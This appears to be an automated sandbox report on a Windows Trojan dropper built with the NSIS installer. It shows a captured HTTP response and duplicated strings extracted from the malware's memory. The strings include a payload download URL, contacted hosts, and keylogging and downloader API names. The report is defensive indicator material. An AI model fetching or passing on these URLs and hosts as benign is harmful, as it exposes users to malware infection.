Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 76

Last-Modified: Wed, 25 Jul 2012 09:14:49 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a.............#.....!.......,.............".8....=h%v..n!.....y.h.....;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:23 GMT..Content-Type: image/gif..Content-Length: 76..Last-Modified: Wed, 25 Jul 2012 09:14:49 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:23 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a.............#.....!.......,.............".8....=h%v..n!.....y.h.....;..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_204:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

http://nsis.sf.net/NSIS_Error

http://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|<>/":

*?|<>/":

\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll

\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll

r.png

r.png

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp\NSISdl.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu2.tmp

open.ini

open.ini

tEXtXML:com.adobe.xmp

tEXtXML:com.adobe.xmp

<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"></rdf:RDF>

<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"></rdf:RDF>

xmlns:xap="http://ns.adobe.com/xap/1.0/">

xmlns:xap="http://ns.adobe.com/xap/1.0/">

xmlns:dc="http://purl.org/dc/elements/1.1/">

xmlns:dc="http://purl.org/dc/elements/1.1/">

Undo=toolbar\16_undo.png

Undo=toolbar\16_undo.png

Undo.Hover=toolbar\16_undo2.png

Undo.Hover=toolbar\16_undo2.png

Undo.DrawBackground=1

Undo.DrawBackground=1

Favorites=toolbar\16_favorites.png

Favorites=toolbar\16_favorites.png

Favorites.Hover=toolbar\16_favorites2.png

Favorites.Hover=toolbar\16_favorites2.png

Favorites.DrawBackground=1

Favorites.DrawBackground=1

Feed.DrawBackground=1

Feed.DrawBackground=1

History=toolbar\16_history.png

History=toolbar\16_history.png

History.Hover=toolbar\16_history2.png

History.Hover=toolbar\16_history2.png

History.DrawBackground=1

History.DrawBackground=1

Layout.DrawBackground=1

Layout.DrawBackground=1

FontSize.DrawBackground=1

FontSize.DrawBackground=1

Encoding.DrawBackground=1

Encoding.DrawBackground=1

Zoom=toolbar\16_page_zoom.png

Zoom=toolbar\16_page_zoom.png

Zoom.Hover=toolbar\16_page_zoom2.png

Zoom.Hover=toolbar\16_page_zoom2.png

Zoom.DrawBackground=1

Zoom.DrawBackground=1

Proxy.DrawBackground=1

Proxy.DrawBackground=1

Tools.DrawBackground=1

Tools.DrawBackground=1

Plugins.DrawBackground=1

Plugins.DrawBackground=1

Security.DrawBackground=1

Security.DrawBackground=1

PageContent.DrawBackground=1

PageContent.DrawBackground=1

Edit=toolbar\16_edit.png

Edit=toolbar\16_edit.png

Edit.DrawBackground=1

Edit.DrawBackground=1

Save.DrawBackground=1

Save.DrawBackground=1

Options.DrawBackground=1

Options.DrawBackground=1

FormFiller.DrawBackground=1

FormFiller.DrawBackground=1

Screenshot.DrawBackground=1

Screenshot.DrawBackground=1

Page=misc\16_page.png

Page=misc\16_page.png

AddressBar=misc\16_page.png

AddressBar=misc\16_page.png

DefaultTabIcon=misc\16_page.png

DefaultTabIcon=misc\16_page.png

Search=toolbar\16_search.png

Search=toolbar\16_search.png

SearchBar=toolbar\16_search.png

SearchBar=toolbar\16_search.png

FolderOpen=misc\16_folder_open.png

FolderOpen=misc\16_folder_open.png

FolderClose=misc\16_folder_closed.png

FolderClose=misc\16_folder_closed.png

FolderClose.hover=misc\16_folder_open.png

FolderClose.hover=misc\16_folder_open.png

WebsiteInfo=misc\16_website_info.png

WebsiteInfo=misc\16_website_info.png

Go=misc\24_go.png

Go=misc\24_go.png

Go.Hover=misc\24_go2.png

Go.Hover=misc\24_go2.png

AdHunter=misc\16_ad_hunter.png

AdHunter=misc\16_ad_hunter.png

_Add=shared\16_new.png

_Add=shared\16_new.png

_Edit=shared\16_edit.png

_Edit=shared\16_edit.png

_Search=toolbar\16_search.png

_Search=toolbar\16_search.png

Caption=control\caption.ico

Caption=control\caption.ico

OpenInNew=misc\16_open_in_new.png

OpenInNew=misc\16_open_in_new.png

ForceTabInBK=misc\16_open_in_bg.png

ForceTabInBK=misc\16_open_in_bg.png

Caption.Text=#555555

Caption.Text=#555555

Status.Address.Text=#555555

Status.Address.Text=#555555

Toolbar.Normal.Text=#4F7639

Toolbar.Normal.Text=#4F7639

Toolbar.Disable.Text=#999999

Toolbar.Disable.Text=#999999

Toolbar.Gripper.Style=Dashed

Toolbar.Gripper.Style=Dashed

Toolbar.Gripper.Width=2

Toolbar.Gripper.Width=2

Toolbar.Gripper.Gap=2

Toolbar.Gripper.Gap=2

Toolbar.Gripper.Percent=90

Toolbar.Gripper.Percent=90

Toolbar.Gripper.Color=#6281aa

Toolbar.Gripper.Color=#6281aa

Toolbar.Gripper.ShadowColor=#f8fafd

Toolbar.Gripper.ShadowColor=#f8fafd

Toolbar.Separator.Style=Solid

Toolbar.Separator.Style=Solid

Toolbar.Separator.Width=1

Toolbar.Separator.Width=1

Toolbar.Separator.Percent=90

Toolbar.Separator.Percent=90

Toolbar.Separator.Color=#6281aa

Toolbar.Separator.Color=#6281aa

Toolbar.Separator.ShadowColor=#f8fafd

Toolbar.Separator.ShadowColor=#f8fafd

Toolbar.Hover.Text=#000066

Toolbar.Hover.Text=#000066

Toolbar.Hover.Border=#7CA5FA

Toolbar.Hover.Border=#7CA5FA

Toolbar.Hover.Start=#FFFFFF

Toolbar.Hover.Start=#FFFFFF

Toolbar.Hover.End=#C6D8FD

Toolbar.Hover.End=#C6D8FD

Toolbar.Checked.Text=#000066

Toolbar.Checked.Text=#000066

Toolbar.Checked.Border=#7CA5FA

Toolbar.Checked.Border=#7CA5FA

Toolbar.Checked.Start=#E7EEFE

Toolbar.Checked.Start=#E7EEFE

Toolbar.Checked.End=#FFFFFF

Toolbar.Checked.End=#FFFFFF

Toolbar.Pressed.Text=#003399

Toolbar.Pressed.Text=#003399

Toolbar.Pressed.Border=#7CA5FA // Not Impletemented

Toolbar.Pressed.Border=#7CA5FA // Not Impletemented

Toolbar.Pressed.Start=#E7EEFE

Toolbar.Pressed.Start=#E7EEFE

Toolbar.Pressed.End=#FFFFFF

Toolbar.Pressed.End=#FFFFFF

Menu.Normal.Text=#444444

Menu.Normal.Text=#444444

Menu.Disable.Text=#999999

Menu.Disable.Text=#999999

Menu.Border=#77a861

Menu.Border=#77a861

Menu.Separator.Style=Solid

Menu.Separator.Style=Solid

Menu.Separator.Width=2

Menu.Separator.Width=2

Menu.Separator.Percent=90

Menu.Separator.Percent=90

Menu.Separator.Color=#77A861

Menu.Separator.Color=#77A861

Menu.Separator.ShadowColor=#f8fafd

Menu.Separator.ShadowColor=#f8fafd

Menu.Hover.Text=#000066

Menu.Hover.Text=#000066

Menu.Hover.Border=#7CA5FA

Menu.Hover.Border=#7CA5FA

Menu.Hover.Start=#FFFFFF

Menu.Hover.Start=#FFFFFF

Menu.Hover.End=#C6D8FD

Menu.Hover.End=#C6D8FD

Menu.Checked.Text=#000066

Menu.Checked.Text=#000066

Menu.Checked.Border=#7CA5FA

Menu.Checked.Border=#7CA5FA

Menu.Checked.Start=#E7EEFE

Menu.Checked.Start=#E7EEFE

Menu.Checked.End=#FFFFFF

Menu.Checked.End=#FFFFFF

Menu.LabelBackground.Start=#ffffff

Menu.LabelBackground.Start=#ffffff

Menu.LabelBackground.End=#000000

Menu.LabelBackground.End=#000000

Tab.Normal.Text=#4F7639

Tab.Normal.Text=#4F7639

Tab.Hover.Text=#4F7639

Tab.Hover.Text=#4F7639

Tab.Active.Text=#4F7639

Tab.Active.Text=#4F7639

ComboBox.Text=#387B2F

ComboBox.Text=#387B2F

//MainPanel.Style=GFill

//MainPanel.Style=GFill

//MainPanel.Fill.ColorStart=#F6F9FD

//MainPanel.Fill.ColorStart=#F6F9FD

//MainPanel.Fill.ColorEnd=#D5E3F7

//MainPanel.Fill.ColorEnd=#D5E3F7

//MainPanel.Fill.Angle=90

//MainPanel.Fill.Angle=90

MainPanel.Style=3Image

MainPanel.Style=3Image

MainPanel.Image=control\title_bg.png

MainPanel.Image=control\title_bg.png

MainPanel.Image.StartOffset=0

MainPanel.Image.StartOffset=0

MainPanel.Image.EndOffset=0

MainPanel.Image.EndOffset=0

MainPanel.Image.Stretch=0

MainPanel.Image.Stretch=0

MenuBar.Style=Transparent

MenuBar.Style=Transparent

Menu.Style=GFill

Menu.Style=GFill

Menu.Fill.ColorStart=#f6f9fd

Menu.Fill.ColorStart=#f6f9fd

Menu.Fill.ColorEnd=#E0F0DC

Menu.Fill.ColorEnd=#E0F0DC

Menu.Fill.Angle=90

Menu.Fill.Angle=90

MenuStrip.Style=Transparent

MenuStrip.Style=Transparent

ToolBar.Style=Transparent

ToolBar.Style=Transparent

WebBar.Style=GFill

WebBar.Style=GFill

WebBar.Fill.ColorStart=#7b7153

WebBar.Fill.ColorStart=#7b7153

WebBar.Fill.ColorEnd=#9b998f

WebBar.Fill.ColorEnd=#9b998f

WebBar.Fill.Angle=90

WebBar.Fill.Angle=90

FloatBar.Style=GFill

FloatBar.Style=GFill

FloatBar.Fill.ColorStart=#EAF2F9

FloatBar.Fill.ColorStart=#EAF2F9

FloatBar.Fill.ColorEnd=#D5E3F7

FloatBar.Fill.ColorEnd=#D5E3F7

FloatBar.Fill.Angle=90

FloatBar.Fill.Angle=90

StatusBar.Style=GFill

StatusBar.Style=GFill

StatusBar.Fill.ColorStart=#F7F6F5

StatusBar.Fill.ColorStart=#F7F6F5

StatusBar.Fill.ColorEnd=#D5E3F7

StatusBar.Fill.ColorEnd=#D5E3F7

StatusBar.Fill.Angle=90

StatusBar.Fill.Angle=90

StatusBar.Style=Image

StatusBar.Style=Image

StatusBar.Image=control\status_bar_bg.png

StatusBar.Image=control\status_bar_bg.png

StatusBar.Image.Stretch=1

StatusBar.Image.Stretch=1

FindInPageBar.Style=GFill

FindInPageBar.Style=GFill

FindInPageBar.Fill.ColorStart=#F7F6F5

FindInPageBar.Fill.ColorStart=#F7F6F5

FindInPageBar.Fill.ColorEnd=#D5E3F7

FindInPageBar.Fill.ColorEnd=#D5E3F7

FindInPageBar.Fill.Angle=90

FindInPageBar.Fill.Angle=90

StatusBar.Style=3Image

StatusBar.Style=3Image

StatusBar.Image.StartOffset=15

StatusBar.Image.StartOffset=15

StatusBar.Image.EndOffset=15

StatusBar.Image.EndOffset=15

StatusBar.Image.Stretch=0

StatusBar.Image.Stretch=0

Button.Normal.Style=Transparent

Button.Normal.Style=Transparent

Button.Hover.Style=3Image

Button.Hover.Style=3Image

Button.Hover.Image=control\Button_Hover.png

Button.Hover.Image=control\Button_Hover.png

Button.Hover.Image.StartOffset=2

Button.Hover.Image.StartOffset=2

Button.Hover.Image.EndOffset=2

Button.Hover.Image.EndOffset=2

Button.Hover.Image.Stretch=1

Button.Hover.Image.Stretch=1

Button.Pressed.Style=3Image

Button.Pressed.Style=3Image

Button.Pressed.Image=control\Button_Pressed.png

Button.Pressed.Image=control\Button_Pressed.png

Button.Pressed.Image.StartOffset=2

Button.Pressed.Image.StartOffset=2

Button.Pressed.Image.EndOffset=2

Button.Pressed.Image.EndOffset=2

Button.Pressed.Image.Stretch=1

Button.Pressed.Image.Stretch=1

Button.Disabled.Style=3Image

Button.Disabled.Style=3Image

Button.Disabled.Image=control\Button_disabled.png

Button.Disabled.Image=control\Button_disabled.png

Button.Disabled.Image.StartOffset=2

Button.Disabled.Image.StartOffset=2

Button.Disabled.Image.EndOffset=2

Button.Disabled.Image.EndOffset=2

Button.Disabled.Image.Stretch=1

Button.Disabled.Image.Stretch=1

Button.Checked.Style=3Image

Button.Checked.Style=3Image

Button.Checked.Image=control\Button_Checked.png

Button.Checked.Image=control\Button_Checked.png

Button.Checked.Image.StartOffset=2

Button.Checked.Image.StartOffset=2

Button.Checked.Image.EndOffset=2

Button.Checked.Image.EndOffset=2

Button.Checked.Image.Stretch=1

Button.Checked.Image.Stretch=1

MenuItem.Hover.Style=3Image

MenuItem.Hover.Style=3Image

MenuItem.Hover.Image=control\MenuItem_Hover.png

MenuItem.Hover.Image=control\MenuItem_Hover.png

MenuItem.Hover.Image.StartOffset=15

MenuItem.Hover.Image.StartOffset=15

MenuItem.Hover.Image.EndOffset=15

MenuItem.Hover.Image.EndOffset=15

MenuItem.Hover.Image.Stretch=1

MenuItem.Hover.Image.Stretch=1

Tab.Normal.Image=control\tab_inactive.png

Tab.Normal.Image=control\tab_inactive.png

Tab.Normal.Image.StartOffset=8

Tab.Normal.Image.StartOffset=8

Tab.Normal.Image.EndOffset=8

Tab.Normal.Image.EndOffset=8

Tab.Normal.Image.Stretch=1

Tab.Normal.Image.Stretch=1

Tab.Normal.StartOut=2

Tab.Normal.StartOut=2

Tab.Normal.EndOut=0

Tab.Normal.EndOut=0

Tab.Normal.Padding=0 0 2 0

Tab.Normal.Padding=0 0 2 0

Tab.Hover.Image=control\tab_hover.png

Tab.Hover.Image=control\tab_hover.png

Tab.Hover.Image.StartOffset=8

Tab.Hover.Image.StartOffset=8

Tab.Hover.Image.EndOffset=8

Tab.Hover.Image.EndOffset=8

Tab.Hover.Image.Stretch=0

Tab.Hover.Image.Stretch=0

Tab.Unread.Image.StartOffset=8

Tab.Unread.Image.StartOffset=8

Tab.Unread.Image.EndOffset=8

Tab.Unread.Image.EndOffset=8

Tab.Unread.Image.Stretch=1

Tab.Unread.Image.Stretch=1

Tab.Active.Image=control\tab_active.png

Tab.Active.Image=control\tab_active.png

Tab.Active.Image.StartOffset=12

Tab.Active.Image.StartOffset=12

Tab.Active.Image.EndOffset=12

Tab.Active.Image.EndOffset=12

Tab.Active.Image.Stretch=0

Tab.Active.Image.Stretch=0

Tab.Active.StartOut=4

Tab.Active.StartOut=4

Tab.Active.EndOut=3

Tab.Active.EndOut=3

Tab.Active.Padding=0 0 2 0

Tab.Active.Padding=0 0 2 0

Background.Style=3Image

Background.Style=3Image

Background.Image=control\tab_bg.png

Background.Image=control\tab_bg.png

Background.Image.StartOffset=4

Background.Image.StartOffset=4

Background.Image.EndOffset=4

Background.Image.EndOffset=4

Background.Image.Stretch=1

Background.Image.Stretch=1

InactiveBackground.Style=3Image

InactiveBackground.Style=3Image

InactiveBackground.Image.StartOffset=4

InactiveBackground.Image.StartOffset=4

InactiveBackground.Image.EndOffset=4

InactiveBackground.Image.EndOffset=4

InactiveBackground.Image.Stretch=0

InactiveBackground.Image.Stretch=0

TabProgress.Style=Progress

TabProgress.Style=Progress

TabProgress.HideIcon=1

TabProgress.HideIcon=1

TabProgress.Offset=0 0

TabProgress.Offset=0 0

TabProgress.Image.FrameWidth=16

TabProgress.Image.FrameWidth=16

TabClose=control\tab_close.png

TabClose=control\tab_close.png

TabClose.Hover=control\tab_close_hover.png

TabClose.Hover=control\tab_close_hover.png

TabClose.Offset=-6 6

TabClose.Offset=-6 6

TabClose.ExtendSpace=20

TabClose.ExtendSpace=20

Tab.Normal.Image=control\sidebar_tab_inactive.png

Tab.Normal.Image=control\sidebar_tab_inactive.png

Tab.Normal.Image.StartOffset=10

Tab.Normal.Image.StartOffset=10

Tab.Normal.Image.EndOffset=4

Tab.Normal.Image.EndOffset=4

Tab.Normal.StartOut=0

Tab.Normal.StartOut=0

Tab.Normal.Padding=0 0 0 4

Tab.Normal.Padding=0 0 0 4

Tab.Active.Image=control\sidebar_tab_active.png

Tab.Active.Image=control\sidebar_tab_active.png

Tab.Active.Image.StartOffset=14

Tab.Active.Image.StartOffset=14

Tab.Active.Image.EndOffset=4

Tab.Active.Image.EndOffset=4

Tab.Active.StartOut=2

Tab.Active.StartOut=2

Tab.Active.EndOut=0

Tab.Active.EndOut=0

Tab.Active.Padding=0 0 0 0

Tab.Active.Padding=0 0 0 0

TitleBackground.Style=GFill

TitleBackground.Style=GFill

TitleBackground.Fill.ColorStart=#E4F2DD

TitleBackground.Fill.ColorStart=#E4F2DD

TitleBackground.Fill.ColorEnd=#E0ECD9

TitleBackground.Fill.ColorEnd=#E0ECD9

TitleBackground.Fill.Angle=90

TitleBackground.Fill.Angle=90

TabBackground.Style=GFill

TabBackground.Style=GFill

TabBackground.Fill.ColorStart=#CCDEC3

TabBackground.Fill.ColorStart=#CCDEC3

TabBackground.Fill.ColorEnd=#D4E3CC

TabBackground.Fill.ColorEnd=#D4E3CC

TabBackground.Fill.Angle=90

TabBackground.Fill.Angle=90

Background.Normal.Image=control\combo.png

Background.Normal.Image=control\combo.png

Background.Normal.Image.StartOffset=8

Background.Normal.Image.StartOffset=8

Background.Normal.Image.EndOffset=8

Background.Normal.Image.EndOffset=8

Background.Normal.Image.Stretch=0

Background.Normal.Image.Stretch=0

Background.Hover.Image=control\combo_hover.png

Background.Hover.Image=control\combo_hover.png

Background.Hover.Image.StartOffset=8

Background.Hover.Image.StartOffset=8

Background.Hover.Image.EndOffset=8

Background.Hover.Image.EndOffset=8

Background.Hover.Image.Stretch=0

Background.Hover.Image.Stretch=0

Thumb.Normal.Image=control\combo_dropdown.png

Thumb.Normal.Image=control\combo_dropdown.png

Thumb.Hover.Image=control\combo_dropdown_hover.png

Thumb.Hover.Image=control\combo_dropdown_hover.png

Foreground.Style=3Image

Foreground.Style=3Image

Foreground.Image=control\progress.png

Foreground.Image=control\progress.png

Foreground.Image.StartOffset=2

Foreground.Image.StartOffset=2

Foreground.Image.EndOffset=9

Foreground.Image.EndOffset=9

Foreground.Image.Stretch=1

Foreground.Image.Stretch=1

Background.Image.StartOffset=2

Background.Image.StartOffset=2

Background.Image.EndOffset=9

Background.Image.EndOffset=9

.tci4n

.tci4n

6-3}ij

6-3}ij

.vN {

.vN {

({,{<{*;

({,{<{*;

Z.pZ

Z.pZ

nsu2.tmp

nsu2.tmp

0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a&ini=open.ini&v=1.0.0.0

0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a&ini=open.ini&v=1.0.0.0

1.0.0.0

1.0.0.0

//www.sj88.com/hezi/jm/setup_a7158.rar

//www.sj88.com/hezi/jm/setup_a7158.rar

ns_61.rar

ns_61.rar

360.ini

360.ini

c:\%original file name%.exe

c:\%original file name%.exe

%Program Files%\greeou

%Program Files%\greeou

%original file name%.exe

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

setup_a7158.exe

setup_a7158.exe

http://www.sj88.com/hezi/jm/setup_a7158.rar

http://www.sj88.com/hezi/jm/setup_a7158.rar

og.nk2

og.nk2

%dN@#

%dN@#

Fxx.tb

Fxx.tb

U0.Ylb

U0.Ylb

,.fd="

,.fd="

.pN7b

.pN7b

'SOE%s

'SOE%s

N,.fh

N,.fh

.QfAk

.QfAk

ÞDTDDDDDDDUUEUTDEUUEEEL

ÞDTDDDDDDDUUEUTDEUUEEEL

,<<<<,3#33#3"<"</pre><pre><3""2#2"<<

,<<<<,3#33#3"<"</pre><pre><3""2#2"<<

3<#33<#""""

3<#33<#""""

2#<<<333#""""**

2#<<<333#""""**

""*""""3"2344/

""*""""3"2344/

#""#""""

#""#""""

"""#2#"",

"""#2#"",

#"222"**

#"222"**

"""#""21

"""#""21

llfff.NB

llfff.NB

!%UUUN334Q

!%UUUN334Q

)))S%S*

)))S%S*

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly>

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32" /><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false" /></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" /><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" /></application></compatibility></assembly>

%Documents and Settings%\%current user%\Desktop\

%Documents and Settings%\%current user%\Desktop\

http://hh8.xjtj.org

http://hh8.xjtj.org

1.0.0.0

1.0.0.0

%original file name%.exe_204_rwx_10004000_00001000:

callback%d

callback%d

greendou.exe_772:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

L$PSSSh,

L$PSSSh,

FtPh>

FtPh>

SSSSh

SSSSh

FtPh

FtPh

tcPS

tcPS

F4SSh

F4SSh

t%9X t ;

t%9X t ;

HSVWh<%U

HSVWh<%U

FTPj

FTPj

.FG;}

.FG;}

pdh.dll

pdh.dll

>1.2.10

>1.2.10

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

1.2.3

1.2.3

inflate 1.2.3 Copyright 1995-2005 Mark Adler

inflate 1.2.3 Copyright 1995-2005 Mark Adler

GetUrlCacheEntryInfoW

GetUrlCacheEntryInfoW

FindCloseUrlCache

FindCloseUrlCache

DeleteUrlCacheEntryW

DeleteUrlCacheEntryW

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

MFC42u.DLL

MFC42u.DLL

MSVCRT.dll

MSVCRT.dll

_wcmdln

_wcmdln

GetWindowsDirectoryW

GetWindowsDirectoryW

KERNEL32.dll

KERNEL32.dll

GetKeyState

GetKeyState

EnumChildWindows

EnumChildWindows

UnregisterHotKey

UnregisterHotKey

RegisterHotKey

RegisterHotKey

keybd_event

keybd_event

MapVirtualKeyW

MapVirtualKeyW

USER32.dll

USER32.dll

SetViewportOrgEx

SetViewportOrgEx

GDI32.dll

GDI32.dll

RegCloseKey

RegCloseKey

RegOpenKeyW

RegOpenKeyW

RegCreateKeyW

RegCreateKeyW

RegDeleteKeyW

RegDeleteKeyW

RegCreateKeyExW

RegCreateKeyExW

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteW

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

URLDownloadToFileW

URLDownloadToFileW

urlmon.dll

urlmon.dll

MSVCP60.dll

MSVCP60.dll

VERSION.dll

VERSION.dll

imagehlp.dll

imagehlp.dll

WINMM.dll

WINMM.dll

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExW

GetKeyNameTextW

GetKeyNameTextW

MapVirtualKeyExW

MapVirtualKeyExW

GetKeyboardLayout

GetKeyboardLayout

GetKeyboardState

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayoutList

GetViewportOrgEx

GetViewportOrgEx

iie.exe

iie.exe

%y%m%d%H%M%S

%y%m%d%H%M%S

http://localhost

http://localhost

http://127.0.0.1

http://127.0.0.1

127.0.0.1

127.0.0.1

favicon.ico

favicon.ico

http://

http://

CWebBrowser2

CWebBrowser2

\update.ini

\update.ini

application/x-www-form-urlencoded

application/x-www-form-urlencoded

HTTPS://

HTTPS://

HTTP://

HTTP://

Ryeol HTTP Client Class

Ryeol HTTP Client Class

::WriteFile failed ("%s").

::WriteFile failed ("%s").

::GetFileSize failed ("%s").

::GetFileSize failed ("%s").

OpenFile (::CreateFile) failed ("%s").

OpenFile (::CreateFile) failed ("%s").

::HttpEndRequest failed.

::HttpEndRequest failed.

::HttpSendRequestEx failed.

::HttpSendRequestEx failed.

::HttpSendRequest failed.

::HttpSendRequest failed.

::HttpAddRequestHeaders failed.

::HttpAddRequestHeaders failed.

::HttpOpenRequest failed.

::HttpOpenRequest failed.

::HttpQueryInfo failed.

::HttpQueryInfo failed.

The file (%s) aleady exists.

The file (%s) aleady exists.

The encoded URL is not valid.

The encoded URL is not valid.

The port number is not valid.

The port number is not valid.

The requested URL is not a valid URL.

The requested URL is not a valid URL.

.?AVerrmsg_exceptionA@Ryeol@@

.?AVerrmsg_exceptionA@Ryeol@@

.?AVhttpclientexceptionA@Ryeol@@

.?AVhttpclientexceptionA@Ryeol@@

CHttpEncoderA::_AnsiCharToUtf8Char: szUtf8Char and szAnsiChar can not be NULL.

CHttpEncoderA::_AnsiCharToUtf8Char: szUtf8Char and szAnsiChar can not be NULL.

CHttpEncoderA::UrlEncodeW: szBuff can not be NULL.

CHttpEncoderA::UrlEncodeW: szBuff can not be NULL.

.PAVCFileException@@

.PAVCFileException@@

.PAVCArchiveException@@

.PAVCArchiveException@@

.PAVCOleException@@

.PAVCOleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

GDI32.DLL

GDI32.DLL

RICHED32.DLL

RICHED32.DLL

RICHED20.DLL

RICHED20.DLL

shlwapi.dll

shlwapi.dll

1.2.10

1.2.10

UXTHEME.DLL

UXTHEME.DLL

.PAVCException@@

.PAVCException@@

PSAPI.DLL

PSAPI.DLL

NULL row buffer for row %ld, pass %d

NULL row buffer for row %ld, pass %d

RICHED20.dll

RICHED20.dll

libpng error: %s

libpng error: %s

libpng error: %s, offset=%d

libpng error: %s, offset=%d

Unknown zTXt compression type %d

Unknown zTXt compression type %d

Incomplete compressed datastream in %s chunk

Incomplete compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

gamma = (%d/100000)

gamma = (%d/100000)

gx=%f, gy=%f, bx=%f, by=%f

gx=%f, gy=%f, bx=%f, by=%f

wx=%f, wy=%f, rx=%f, ry=%f

wx=%f, wy=%f, rx=%f, ry=%f

incorrect gamma=(%d/100000)

incorrect gamma=(%d/100000)

iTXt chunk not supported.

iTXt chunk not supported.

IE9.IE9NSHandle.1 = s 'IE9NSHandle Class'

IE9.IE9NSHandle.1 = s 'IE9NSHandle Class'

CLSID = s '{00B39D47-3331-49a7-B54E-32AE6E993C67}'

CLSID = s '{00B39D47-3331-49a7-B54E-32AE6E993C67}'

IE9.IE9NSHandle = s 'IE9NSHandle Class'

IE9.IE9NSHandle = s 'IE9NSHandle Class'

ForceRemove {00B39D47-3331-49a7-B54E-32AE6E993C67} = s 'IE9NSHandle Class'

ForceRemove {00B39D47-3331-49a7-B54E-32AE6E993C67} = s 'IE9NSHandle Class'

ProgID = s 'IE9.IE9NSHandle.1'

ProgID = s 'IE9.IE9NSHandle.1'

VersionIndependentProgID = s 'IE9.IE9NSHandle'

VersionIndependentProgID = s 'IE9.IE9NSHandle'

val AppID = s '{00B39D47-3331-49a7-B54E-32AE6E993C67}'

val AppID = s '{00B39D47-3331-49a7-B54E-32AE6E993C67}'

